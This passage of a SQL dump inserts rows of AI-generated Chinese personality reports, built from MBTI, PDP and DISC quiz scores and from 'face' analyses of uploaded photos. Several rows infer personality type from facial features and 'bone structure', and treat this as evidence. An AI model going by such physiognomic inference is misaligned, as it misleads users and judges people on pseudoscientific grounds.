D\\n\\n- I:影响力、社交、情绪感染; \\n- D:主导、决断、冲劲。 \\n\\n结合 ESTJ 与老虎成分: \\n- 真实状态更像 **“ID 型”**:既要人、也要事。 \\n- 对领导、客户:会用热情和结果说话; \\n- 对下属/同事:既能“带节奏”,也会因为过于直接而不自觉给压力。\\n\\n---\\n\\n## 四、行为与沟通风格\\n\\n### 1. 行为风格\\n\\n- 典型“说-干一体型”:喜欢边讨论边拍板,拍板后立即推进; \\n- 决策方式:偏“快速+信息足够即可”,不是追求完美信息,而是“先做再优化”; \\n- 在团队中容易占中心位:主持会议、总结发言、做关键决策; \\n- 喜欢有可见进展的事情,对长期无反馈的琐碎任务兴趣低。\\n\\n### 2. 沟通风格\\n\\n- 语言直接、结构清晰:会说“核心有几条”“结论先说”。 \\n- 以“道理+目标+数据”说服别人: \\n - 对上:强调成果与可行性,争取资源; \\n - 对下:强调标准和责任,边鼓励边施压。 \\n- 正面情绪表达显性:善于鼓舞、打鸡血、造氛围; \\n- 负面情绪容易通过语气、表情显露:不满时很难完全掩饰。 \\n\\n**风险点**:在压力或节奏很快时,容易显得: \\n- 话多但听得不够多; \\n- 关注任务多于感受,被人贴上“有点强势/有点功利”的标签。\\n\\n---\\n\\n## 五、优势亮点(可在工作中刻意放大的部分)\\n\\n1. **强推动力与执行落地能力** \\n - 能设定明确目标→拆解成执行步骤→持续跟进,适合做项目 owner、团队负责人、业务骨干。 \\n\\n2. **沟通与影响力强** \\n - 能把复杂事务讲清楚、讲明白,有说服力; \\n - 适合对外(客户、伙伴)沟通,对内(团队)动员。 \\n\\n3. **结果导向、责任感强** \\n - 对自己负责的事有“非搞好不可”的执念; \\n - 有一定“替组织操心”的属性,天然具备管理潜力。 \\n\\n4. **逻辑与结构能力不错** \\n - 能快速抓重点、搭框架,对流程、制度、规范化有敏感度; \\n - 在需要制度建设、流程优化、项目梳理时有优势。 \\n\\n5. **抗压和适应快节奏** \\n - 在“多任务+高节奏+强目标”的业务环境中能跑得起来; \\n - 面对变化能迅速调整策略,而不是僵在原地。\\n\\n---\\n\\n## 六、可提升方向(真实短板与发展建议)\\n\\n1. **倾听与情绪敏感度** \\n - 风险:在推进任务和讲道理时,容易忽视他人真实感受; \\n - 建议: \\n - 每次决策前养成“先问三分钟,再讲三分钟”的习惯; \\n - 对关键成员,定期做一对一沟通,刻意问“你有什么顾虑和困难”。 \\n\\n2. **细节耐心与长期主义** \\n - 风险:在没有即时反馈的长期任务、细腻工作(如复杂数据分析、文档精修)中容易失去耐心; \\n - 建议: \\n - 把长期任务拆成多个“小里程碑”,每周给自己一个可见成就; \\n - 把关键细节工作分配给适合的 C/S 型伙伴,自己做决策与协调。 \\n\\n3. **控制欲与授权** \\n - 风险:老虎+D 的成分会导致“什么都想管、事事想确认”,容易累自己、压别人; \\n - 建议: \\n - 明确哪些事情“必须亲自”,哪些可以“设规则+定结果”; \\n - 对团队多用“结果管理”而非“过程控制”,减少微观干预。 \\n\\n4. **情绪管理与表达方式** \\n - 风险:压力大时语言锋利、语气急,损害长期合作关系; \\n - 建议: \\n - 在高压场景下刻意用“问题导向”替代“情绪指责”,如: \\n - 把“你怎么又……”换成“这次问题的关键点在哪,我们下次怎么避免”; \\n - 对重要对象(上级、关键同事)在冲突后及时“复盘+修复关系”。 \\n\\n5. **战略思维与视角拉高** \\n - 当前偏“战术执行+组织管理”,战略层面(行业趋势、资源布局、组织设计)需要强化; \\n - 建议: \\n - 多参与跨部门项目,主动争取“组织级”的任务; \\n - 多向上级/前辈学习:他们如何看待长期布局与风险管理。\\n\\n---\\n\\n如果你愿意补充: \\n- 出生年月日 \\n- 过往 2–3 段关键工作经历(行业/岗位/负责内容) \\n\\n我可以在此基础上,把上面的通用分析进一步细化成:**更贴近你行业发展路径的职业定位与中长期发展建议**。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 0, 0, NULL, 1773129620, 1773129620, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (98, 1, 'resume', '{\"content\": \"下面的分析基于: \\n- 人脸分析:INTJ + PDP「老虎」、DISC「D/C」 \\n- MBTI 测试:ESTJ(E/S/T/J 极高分) \\n- PDP 测试:孔雀型(主 Peacock,辅 Tiger) \\n- DISC 测试:I 型为主、D 为辅 \\n- 你上传了简历,但图片内容我无法读取,因此无法结合具体工作经历、生日做更细致的印证,只能从多份测评之间做“去伪存真”的综合判断。后面如果你能补充文字版的工作经历与生日,我可以给一版更接地气的“行为风格复盘”。\\n\\n在当前信息有限的前提下,我会给出一个“高可信核心画像 + 若干可能分支”的结构化结论。\\n\\n---\\n\\n## 一、核心性格关键词(综合提炼)\\n\\n从多份测评中相对稳定、可互相印证的特征来看,你大概率具备:\\n\\n**核心底色:**\\n- 目标导向、结果思维\\n- 逻辑清晰,偏理性决策\\n- 行动派,有执行力、有主见\\n- 组织、掌控倾向明显(喜欢有秩序、有计划)\\n\\n**在人际与工作场景中常见特征:**\\n- 带有一定的领导/主导欲 \\n- 愿意表达观点,敢于决策 \\n- 不怕冲突,更关注解决问题和推进结果 \\n- 在自己熟悉的领域,显得自信、果断\\n\\n---\\n\\n## 二、真实性格深度分析(去伪存真)\\n\\n### 1. MBTI、PDP、DISC 之间的矛盾点\\n\\n- 面相:INTJ+D/C → 偏**内向、理性、战略性、自控强**\\n- MBTI 测评:ESTJ → 偏**外向、务实、执行强、组织者**\\n- PDP 测评:孔雀(Peacock,85%) + Tiger → 偏**外向、表现欲、社交活跃、影响他人**\\n- DISC 测评:I 型 + D → **影响型+支配型**,典型“爱说、爱带节奏、乐观感染人”。\\n\\n这几份结果存在明显冲突: \\n- 有的把你描述成“外向型组织者/表现者(ESTJ、Peacock、I 型)”; \\n- 有的把你描述成“理性、独立、略冷感的战略型(INTJ、D/C)”。\\n\\n这通常意味着两种可能:\\n\\n1. **你在工作/社交角色中表现得更外向、能说会道,但内在思维模式偏理性和掌控。** \\n2. 部分在线测评受“答题倾向”影响,夸大了你的外向、表现欲,而人脸分析和 D/C 倾向提示你其实更看重逻辑、控制、结果。\\n\\n### 2. 更可信的“核心人格底盘”\\n\\n从多维度交叉看,以下几条特征在所有版本里都**反复出现或隐含**,可信度较高:\\n\\n1. **理性决策占主导** \\n - INTJ、ESTJ、D、老虎、Tiger 都指向: \\n - 偏「T」而不是「F」:做决定看事实、逻辑、利弊,而不是情绪和关系优先。 \\n - 习惯快速判断:什么是对的、什么是有效的。\\n\\n2. **强目的性和控制感需求** \\n - D 型、Tiger、ESTJ、INTJ 的共同点: \\n - 喜欢掌握节奏,不愿被动等待或被人牵着走。 \\n - 在项目/团队中容易自然站到“主导/决策/推动”位置。 \\n - 面对模糊和混乱,会本能地想建立规则、流程、优先级。\\n\\n3. **较强的结构化与执行力** \\n - ESTJ 的 J + S,D/C 的 C,老虎+猫头鹰等,都指向你: \\n - 能把目标拆解为计划并落地执行。 \\n - 不排斥流程和规则,甚至会主动制定标准。 \\n - 对“拖延、反复、模糊指令”容忍度不高。\\n\\n4. **情绪相对稳定,抗压能力中高档** \\n - 老虎、D 型、ESTJ 都意味着: \\n - 面对压力更倾向于解决问题,而非逃避。 \\n - 紧张情境下,有一定硬扛能力,会选择“顶上去”,而不是明显退缩。 \\n - 表面情绪控制较好,不会在工作场合频繁情绪化。\\n\\n### 3. 关于“外向/内向”的真实情况\\n\\n矛盾点在于: \\n- 面相:INTJ + D/C → 偏内敛、理性,精力投向任务和思考。 \\n- 测评:ESTJ + 孔雀 + I 型 → 强烈外向、表达欲强、喜欢社交。\\n\\n更合理的解释不是“要么内向要么外向”,而是:\\n\\n> **你属于「任务场景外向、私下可能收敛」的类型。**\\n\\n- 在工作需要你去沟通、协调、影响别人时: \\n - 你能很自然地打开自己,敢说敢表达,甚至偏强势,逻辑清晰、直奔主题。 \\n- 但在真正放松的私人生活中: \\n - 你未必喜欢「无效社交」;更愿意一个人/少数人深度交流,而不是在大场合持续充当焦点。 \\n- 你对社交的态度更像“为了目标服务的工具”,而不是单纯享受社交本身。\\n\\n---\\n\\n## 三、行为与沟通风格(工作场景下的真实模样)\\n\\n### 1. 做事习惯\\n\\n- **有计划、有目标感**:更习惯先弄清目标,再讨论怎么做;不喜欢边做边变更方向。 \\n- **讲效率、不磨叽**:倾向快速决策,看到明显的不合理会直接提出或调整。 \\n- **重结果、重标准**:任务若没有清晰指标会不舒服,你会主动帮团队明确“什么算做好”。 \\n- **对细节有选择性关注**:重要细节不会放过,但对你认为“不影响结果”的细节容忍度较高。\\n\\n### 2. 抗压与应对方式\\n\\n- 压力上来时,你更可能: \\n - 开始划优先级:先干关键的,丢掉不重要的。 \\n - 收紧控制:更多亲自盯、亲自决策,对他人犯错的耐心下降。 \\n - 语气变硬、容错率下降,但仍以“把事搞定”为主线。\\n\\n- 你不喜欢长期处在完全失控、完全被动的局面,如果环境过于混乱,可能会选择“要么接管,要么离开”。\\n\\n### 3. 人际与沟通模式\\n\\n- **表达风格:直截了当、偏理性** \\n - 说话逻辑清楚、结论先行,不太习惯绕圈子。 \\n - 容易被觉得“有点强势/不够温柔”,尤其在指出问题时。\\n\\n- **合作风格:喜欢靠谱、有担当的人** \\n - 对拖延、情绪化、缺乏责任感的人容易不耐烦。 \\n - 和专业度高、对结果负责的人,很快可以建立信任。\\n\\n- **影响他人的方式** \\n - 不是靠“讨喜”,而是靠专业和决心; \\n - 在需要时,也能通过较强的表达能力、感染力带动团队。\\n\\n---\\n\\n## 四、优势亮点(综合 MBTI / PDP / DISC)\\n\\n1. **目标驱动 + 执行力强** \\n - 设定目标之后,能迅速拆解任务、分配资源、推动落地,是典型的“做成事”的人。\\n\\n2. **逻辑清晰,决策能力好** \\n - 看到信息后能快速判断优先级和风险,倾向于理性分析,而非被情绪带节奏。\\n\\n3. **有领导与组织潜质** \\n - 敢于承担责任、习惯站在“整体视角”看问题。 \\n - 在团队里容易自然成为“说了算/拍板的人”。\\n\\n4. **在关键场景中能外向表达、影响他人** \\n - 虽不一定是全场最爱社交的人,但在工作情境里,你能站出来讲话、谈判、推动项目。\\n\\n5. **抗压能力中上,有硬度** \\n - 在压力来临时,有继续推进的韧性,不轻易放弃或被情绪拖垮。\\n\\n---\\n\\n## 五、可提升方向(针对你这种“理性 + 控制 + 行动派”组合)\\n\\n1. **柔化沟通方式,区分“对事”和“对人”**\\n - 保持对结果的高标准,但在表达问题和反馈时: \\n - 多用“我观察到…”、“我们可以尝试…”代替“你怎么…”。 \\n - 先肯定再指出问题,降低对他人情绪的冲击。 \\n - 这能减少别人对你“强势/不好相处”的误解,提升合作效率。\\n\\n2. **增加对他人情绪与节奏的容忍度**\\n - 并非所有人都以效率为中心,有些人需要更多情感安全感和鼓励。 \\n - 适当拉长自己的“容错时间”,把“如何带出团队”视为和“把事做成”同等重要的目标。\\n\\n3. **避免过度控制与亲力亲为**\\n - 你的掌控感强,容易“看不惯就自己做”,短期效率高,但容易累,团队成长慢。 \\n - 更有价值的是: \\n - 明确结果和边界, \\n - 放权 + 关键节点把关, \\n - 只抓关键 20% 的事情。\\n\\n4. **警惕因过度理性而忽视长期关系资产**\\n - 将“人际关系、信任、口碑”纳入你的“结果指标”。 \\n - 不只是“事做成了”,而是“事做成的同时,让人愿意跟你继续做下一件事”。\\n\\n5. **自我节奏管理,防止长期高压硬撑**\\n - 你可能习惯“先把事干了再说休息”,容易透支。 \\n - 在高强度周期中,刻意安排: \\n - 短暂的断网休息、 \\n - 纯兴趣的活动、 \\n - 高质量的独处或少量深度社交, \\n - 用来恢复你的专注和判断力。\\n\\n---\\n\\n## 小结:一个更贴近真实的画像\\n\\n你更像是一个:\\n\\n> **以结果为导向、理性分析为底色,在工作场景中可以主动外向、善于组织和掌控局面的行动派。**\\n\\n- 内在:重逻辑、重掌控、重效率,不喜欢无序和拖拉。 \\n- 外在:在需要时能表现得外向、有说服力、有感染力,但本质上社交是服务于目标的工具。 \\n- 擅长:定目标、理清思路、推动执行、扛压力。 \\n- 易被误解:太直接、太强势、不够“温柔/顾情绪”。 \\n\\n如果你方便补充: \\n1)出生日期(精确到年月日) \\n2)简历里的关键经历(行业、职位、负责内容、任职时长) \\n\\n我可以在此基础上进一步校正,给你一版更贴近你真实工作场景的“行为与职业匹配度细化分析”。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 0, 0, NULL, 1773130628, 1773130628, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (99, 6, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性内敛、思维缜密,重视长期规划与稳健推进,适合在专业与管理结合岗位深耕发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37be9c8f5.89224540.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bed97c8.21150938.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bd4cf40.31378569.jpg\"], \"boneAnalysis\": \"骨骼偏土形稳健,骨肉均衡,颌骨承载力强,中庭与鼻部突出现实感与责任心,具长期抗压与守成能力。\", \"faceAnalysis\": \"额头宽阔,眼神专注,鼻梁端正,嘴形收敛,下巴厚实,整体面相稳重理性,偏重思考与执行并重。\", \"personalitySummary\": \"性格内敛理性,注重逻辑与系统思考,决策谨慎而有主见,做事稳扎稳打,擅长在复杂环境中分析问题并推进落地。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773130642, 1773130642, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (100, 6, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性内敛、思维缜密,擅长规划与稳健推进,做事有原则,重视长期发展与现实成效。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37be9c8f5.89224540.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bed97c8.21150938.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bd4cf40.31378569.jpg\"], \"boneAnalysis\": \"面部骨骼偏土金形,骨肉匀称,颧区内敛不外凸,下颌承托感强,体现稳健持久与现实判断力。\", \"faceAnalysis\": \"额头饱满,下巴厚实,五官线条圆中带棱,神情稳重,整体给人理性沉稳、思考周密之感。\", \"personalitySummary\": \"性格偏理性克制,重视逻辑与效率,做事有计划且坚持度高,人际有边界感但可靠可信,适合承担长期复杂任务与关键责任。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773130960, 1773130960, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (101, 1, 'resume', '{\"content\": \"下面是基于你目前提供的数据做的“初步画像”,因为简历内容图片我还看不到具体文字,只能先根据测评结果和你给的信息做框架式判断。等你补充简历文本(生日、工作经历),我可以再做一次更精准的“校正”和细化。\\n\\n---\\n\\n## 一、核心性格关键词(在现有信息基础上的“初稿”)\\n\\n- 外向表达强 / 乐于社交(E,高 I / 孔雀 / I型)\\n- 结果导向、执行力强(ESTJ、部分老虎、D)\\n- 乐观、有感染力、擅长影响他人(孔雀 / I型)\\n- 逻辑清晰、决策偏理性(T、INTJ 面相分析)\\n- 组织、规划和掌控欲较强(J、ESTJ、D)\\n- 可能存在:情绪耐受一般、容易对低效与拖延不耐烦、注意力分散或过度乐观\\n\\n> 说明:目前多份测评之间存在明显“冲突”(INTJ + D/C vs ESTJ + 孔雀 + I型),在没有工作经历和生日信息印证前,只能先给出一个“折中后的大致轮廓”。\\n\\n---\\n\\n## 二、真实性格深度分析(基于多测评交叉取中)\\n\\n### 1. 性格底色(以 MBTI ESTJ + PDP 孔雀 + DISC I 为主,兼顾面相 INTJ+D/C)\\n\\n- **外向倾向:明显偏外向 E**\\n - MBTI:E 得分 8:0\\n - PDP:孔雀 85%\\n - DISC:I 100%\\n → 真实中,很难是典型的“社交内向型”。更可能是: \\n 在熟悉环境中非常外向、健谈、有存在感,在陌生或专业场合会切换到“理性、控制局面”的模式。\\n\\n- **思维方式:现实理性 + 过程有序**\\n - MBTI:S(务实)+ T(理性决策)+ J(讲规则、重计划)\\n - 面相&DISC/D:逻辑分析、条理性、目标导向 \\n → 行为决策多以“现实可行性、成本收益”为基准,很少纯情绪化决策。对模糊、拖延和反复变更不耐烦。\\n\\n- **核心驱动力:成就 & 影响力 & 控制感**\\n - ESTJ:喜欢“组织、管理、推动进展”\\n - 孔雀 / I:喜欢“被看见、影响他人、气氛与人际反馈”\\n - D:喜欢“掌控局面、说了算”\\n → 综合来看,更可能是: \\n 既希望“事情有效率、结果达成”,又希望“自己是关键人物、被看到、能影响团队和氛围”。\\n\\n### 2. 情绪与压力反应(暂为推测版)\\n\\n- 面对压力,更可能表现为:\\n - 先上手解决问题,行动优先;\\n - 对他人拖慢节奏或不配合容易着急、发火;\\n - 不太愿意公开展示脆弱,更习惯“硬扛+往前推”。\\n- 在高压或反复被否定的环境中,可能会:\\n - 控制欲上升、语气变强势;\\n - 对细节和错误挑剔;\\n - 或出现短时逃避:注意力分散、转向社交或其他刺激来“分心”。\\n\\n---\\n\\n## 三、行为与沟通风格(从三类测评交集提炼)\\n\\n### 1. 行为风格(做事方式)\\n\\n**很可能的真实行为特征:**\\n\\n- 快节奏、行动型:不喜欢长时间空谈,更偏“边做边调”。\\n- 结构化:喜欢清晰的目标、时间表、优先级;讨厌混乱和没有决策。\\n- 现实实用:方案要落地、要有效,不爱“空想型创意会”。\\n- 需要自主权:对过度控制、反复否决会强烈不适;更适合被赋予责任和空间。\\n\\n**可能出现的行为盲点:**\\n\\n- 容易忽略他人情绪体验,认为“事情比感受重要”;\\n- 对节奏慢、风格细腻的人(高S、高F、高C)缺耐心;\\n- 可能因为乐观+自信,低估风险、细节或长期隐患。\\n\\n### 2. 沟通风格\\n\\n- **与下属/同事** \\n - 语言直接,指令清晰,强调“结果、时间节点、标准”;\\n - 擅长在团队里“打气”“带动情绪”,同时推进任务;\\n - 喜欢开门见山,不擅长长篇铺垫或过度安抚。\\n- **与上级/客户** \\n - 用数据、事实、案例说话,表达有条理;\\n - 会展示自信与掌控感,给人“靠谱、能干”的印象;\\n - 对模糊要求有时会“反问、追问”,希望边界更清晰。\\n- **社交场合** \\n - 易成为话题中心或组织者型角色;\\n - 善于调动氛围、快速建立关系,但对深度情绪、脆弱话题不一定愿意停留太久。\\n\\n---\\n\\n## 四、优势亮点(多测评共同指向的真实优势)\\n\\n1. **组织与执行能力强**\\n - 擅长拆解目标、制定计划、分派任务、盯进度;\\n - 能把一群人组织起来,朝同一个结果推进。\\n\\n2. **影响力与号召力**\\n - 外向表达 + 孔雀/I型,使你在团队中自然具备“带动情绪、影响氛围”的能力;\\n - 非常适合担任项目负责人、团队leader、BD/销售管理等对人和结果双重要求的角色。\\n\\n3. **理性决策、敢于拍板**\\n - 以事实、逻辑、经验为依据,敢做决定、敢担责;\\n - 在混乱和犹豫的环境中能“站出来给方向”。\\n\\n4. **目标导向、抗干扰能力相对较好**\\n - 结果清晰时,容易进入“执行模式”,专注在完成任务上;\\n - 对复杂问题有拆解和推进的能力,而不仅停留在想法层面。\\n\\n---\\n\\n## 五、可提升方向(结合三类测评的“偏科点”)\\n\\n1. **情绪与同理心维度的补位**\\n - 当前组合偏:结果 > 过程、事实 > 情绪。 \\n - 建议:\\n - 在给反馈、提要求前,先确认对方状态(“我看到你现在很赶/很累,我的建议是…”);\\n - 学会区分:对事可以强硬,对人要留余地;\\n - 对高情感敏感型同事(高F、高S)增加一些“情感确认”。\\n\\n2. **节奏与风格的灵活度**\\n - 强势+快节奏容易“碾压”节奏慢的人,导致团队出现被动服从、表面执行。 \\n - 建议:\\n - 在定目标时,邀请不同风格成员参与共创,减少“一言堂”;\\n - 有意识多问一句:“你怎么看?有什么风险/细节我没考虑到?”\\n\\n3. **风险意识与细节耐心**\\n - 孔雀/I型 + ESTJ 容易偏向“自信+乐观+动作快”,忽略长期风险或技术细节。 \\n - 建议:\\n - 在重要决策中,引入“唱反调角色”; \\n - 固定加入一个“风险检查清单”(资金、合规、交付能力、人力等)。\\n\\n4. **压力管理与自我调节**\\n - 表面强势、理性的人,常常习惯“压住自己的情绪”,后期可能以易怒、控制欲、失眠等方式反弹。 \\n - 建议:\\n - 留出稳定的放空或运动时间,而不是一味靠高强度工作“顶住”;\\n - 在极度压力期,减少对他人语气和节奏的要求,把精力放在“关键少数”的任务上。\\n\\n---\\n\\n## 六、后续优化建议\\n\\n目前你的数据中,存在两种相反画像:\\n\\n- 面相:INTJ + D/C(冷静策略家,偏内向、理性、规划型)\\n- 测评:ESTJ + 孔雀 + I(外向、务实、善社交、组织执行型)\\n\\n但它们的“交集”很清晰: \\n**理性、组织力强、结果导向、有影响力、有一定控制欲。**\\n\\n接下来,如果你能提供:\\n- 生日(具体年月日)\\n- 简历中真实的工作经历:行业、岗位、年限、是否带团队、典型项目/业绩\\n\\n我可以再做一版“修正版画像”,重点从:\\n\\n1. 你的职业选择与晋升路径,验证你是更偏“战略规划型”,还是“执行管理+对人影响型”;\\n2. 从工作中的真实行为(冲突处理、挫折反应、换工作原因),验证你的抗压方式和真实价值观;\\n3. 结合生日,从“底色倾向”上进一步校正(例如偏权威/独立/合作/服务等)。\\n\\n你可以直接把简历文字版或关键经历发给我,我会基于上面的“初稿”做一次系统修正和升级。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 1, NULL, NULL, 1773131684, 1773131684, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (102, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 20, \"I\": 0, \"S\": 0}, \"answers\": {\"1\": \"D\", \"2\": \"D\", \"3\": \"D\", \"4\": \"D\", \"5\": \"D\", \"6\": \"D\", \"7\": \"D\", \"8\": \"D\", \"9\": \"D\", \"10\": \"D\", \"11\": \"D\", \"12\": \"D\", \"13\": \"D\", \"14\": \"D\", \"15\": \"D\", \"16\": \"D\", \"17\": \"D\", \"18\": \"D\", \"19\": \"D\", \"20\": \"D\"}, \"completedAt\": \"2026-03-10T08:37:27.414Z\", \"description\": {\"type\": \"D型\", \"color\": \"#EF4444\", \"title\": \"支配型\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,注重结果和效率\"}, \"percentages\": {\"C\": 0, \"D\": 100, \"I\": 0, \"S\": 0}, \"dominantType\": \"D\", \"testDuration\": 17, \"secondaryType\": \"I\"}', NULL, NULL, 0, 0, NULL, NULL, 1773131847, 1773131847, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (103, 1, 'disc', '{\"scores\": {\"C\": 5, \"D\": 4, \"I\": 8, \"S\": 3}, \"answers\": {\"1\": \"I\", \"2\": \"D\", \"3\": \"I\", \"4\": \"I\", \"5\": \"C\", \"6\": \"I\", \"7\": \"I\", \"8\": \"D\", \"9\": \"S\", \"10\": \"C\", \"11\": \"I\", \"12\": \"C\", \"13\": \"C\", \"14\": \"D\", \"15\": \"S\", \"16\": \"C\", \"17\": \"S\", \"18\": \"I\", \"19\": \"D\", \"20\": \"I\"}, \"completedAt\": \"2026-03-10T08:42:24.893Z\", \"description\": {\"type\": \"I型\", \"color\": \"#F59E0B\", \"title\": \"影响型\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"strengths\": [\"善于沟通\", \"乐观积极\", \"创意丰富\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于社交和表达\"}, \"percentages\": {\"C\": 25, \"D\": 20, \"I\": 40, \"S\": 15}, \"dominantType\": \"I\", \"testDuration\": 19, \"secondaryType\": \"C\"}', NULL, NULL, 0, 0, NULL, NULL, 1773132144, 1773132144, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (104, 1, 'resume', '{\"content\": \"下面先给出综合结论,再拆分说明。由于简历文件内容无法直接读取,以下分析主要基于: \\n- 面相AI:INTJ + PDP 老虎 / DISC D-C \\n- MBTI测评问卷:ESTJ(极端 E、S、T、J) \\n- PDP 测评:孔雀型(P85 + T15) \\n- DISC 测评:I 主导,次 C(I40%、C25%、D20%、S15%)\\n\\n可以看出,不同测评之间有明显矛盾: \\n- 有的结果偏「内向理性、战略规划型」(INTJ / D-C) \\n- 有的结果偏「外向表现、乐观影响型」(ESTJ + 孔雀 + I型) \\n\\n所以必须交叉取证,剥离「答题风格」「场景角色」带来的偏差,只保留稳定、相互印证的特征。\\n\\n---\\n\\n## 一、核心性格关键词(综合提炼)\\n\\n**底色:理性 + 目标导向 + 主动外向的影响者**\\n\\n- 目标驱动,结果导向 \\n- 逻辑清晰,判断迅速 \\n- 现实务实,偏行动派 \\n- 外向表达,愿意影响和说服他人 \\n- 组织与掌控欲较强,有领导倾向 \\n- 情绪总体稳定,但有时会直接甚至强势 \\n- 既要「好结果」,又在意「别人怎么看」\\n\\n---\\n\\n## 二、真实性格深度分析(去伪存真)\\n\\n### 1. 内外向:E 还是 I?\\n\\n- 面相/人脸:INTJ 倾向(独立思考、规划、冷静) \\n- MBTI 问卷:100% E,几乎没有 I \\n- PDP:孔雀型(极高外向表达、社交欲) \\n- DISC:I 型主导(善于沟通、表达)\\n\\n**综合判定**: \\n- 性格本质上偏「外向表达 + 主动影响」——不是安静型分析者 \\n- 但思考方式带有一定「理性、独立判断」特征,不是情绪化的纯社交型 \\n- 可推测: \\n - 内心需要通过「说」「讲」「带队」来影响环境,是典型 E \\n - 人前表现活跃、讲逻辑、人脉广; \\n - 但在关键判断时,会希望自己做主,独立思考后拍板,有一点「内向决策」的影子\\n\\n### 2. 思维方式:T vs F / 逻辑 vs 情感\\n\\n- MBTI:T 极高,F 接近 0 \\n- 面相:逻辑分析、理性思维 \\n- PDP/ DISC:孔雀 / I 型往往偏情绪感染力强,但你的组合里同时有 Tiger / C、D 成分\\n\\n**综合判定**: \\n- 决策底层以「对错、利弊、效率、结果」为主,而非「感受、公平、关系和谐」 \\n- 善于用数据、事实、逻辑说明观点,但会带一点情绪、鼓动性 \\n- 对自己要求高,也会对别人有明显标准,容忍度有限 \\n- 在关系中,更多是「我帮你解决问题」,而不是「我陪你情绪共鸣」\\n\\n### 3. 结构度与执行:J + D/C 一致性很高\\n\\n- MBTI:J 极强(偏有计划、有秩序的处事方式) \\n- 面相:战略规划、系统性思考 \\n- DISC:C+D 均有一定比例(25+20),说明: \\n - 注重质量、细节、规范(C) \\n - 同时又有推动、拍板的一面(D)\\n\\n**综合判定**: \\n- 做事讲流程、讲计划、喜欢可控性,不爱「走一步看一步」 \\n- 能从全局拆分任务,设置节点和标准 \\n- 对执行要求严格,不喜欢拖沓、反复 \\n- 遇到模糊情况,会本能地想「先定规则/先搭框架」,再推动落实\\n\\n### 4. 情绪与压力反应\\n\\n从 D + C + T + 目标导向推测:\\n\\n- 面对压力,会先顶住、硬扛,通过加快节奏、强化控制来应对,而不是退缩 \\n- 高标准 + 责任感,会让你在关键项目中很能扛事,但长期容易: \\n - 自我压力过大 \\n - 对他人不耐烦,语气变硬、控制欲上升 \\n- 情绪表达方式: \\n - 不太习惯示弱或公开表达脆弱 \\n - 一般以「工作指令」「问题讨论」的形式释放情绪(例如提高语速、语气变直)\\n\\n### 5. 真实偏好 vs 测试标签矛盾的原因推测\\n\\n- INTJ(面相)+ ESTJ(问卷)+ 孔雀/老虎(PDP)+ I/C (DISC) \\n- 可以推断: \\n - 底层是:**逻辑型、结果型、组织型** \\n - 外显行为是:**外向、有号召力、善于动员与说服** \\n- 问卷中极端的 E/S/T/J 可能反映了你「在职场角色中的自我期望」: \\n - 认为自己应该外向、坚决、指挥型、很能扛 \\n- 面相中的 INTJ 则反映: \\n - 内心仍需要一定独处空间做深度思考 \\n - 有规划和策略性,而不是只靠人脉与情绪\\n\\n---\\n\\n## 三、行为与沟通风格\\n\\n### 1. 行为风格(做事习惯)\\n\\n- **偏任务导向**:看到的是目标、节点和资源,而不是先想到「大家开不开心」 \\n- **强推动力**:喜欢把事情往前赶,看不到进度会焦虑 \\n- **决策方式**: \\n - 快速收集信息 → 分析利弊 → 果断拍板 \\n - 不喜欢长时间拉扯和模糊 \\n- **对细节与标准有要求**: \\n - 对数字、流程、结果质量敏感 \\n - 在执行层面,有时会下意识地「自己盯得很紧」 \\n- **时间观念强**:守时、希望别人也守时,拖延会让你非常不爽\\n\\n### 2. 人际与沟通风格\\n\\n- **主动开场、主动带节奏**:会议上倾向于主持议题、推动讨论,而不是一直沉默 \\n- **表达直接、逻辑清晰**: \\n - 喜欢讲「逻辑+结论」,不爱绕圈 \\n - 容易给人「强势」「有压迫感」的印象,尤其对执行不到位的人 \\n- **说服路径**: \\n - 用事实、案例、数据 + 一定情绪感染(鼓舞式或高压式) \\n- **社交偏好**: \\n - 场合中能自如社交、建立关系 \\n - 但选择深度合作伙伴时,更看重对方能力与专业,而非单纯投缘\\n\\n---\\n\\n## 四、优势亮点\\n\\n1. **综合领导力潜质** \\n - 目标感强 + 推动力强 + 组织规划能力 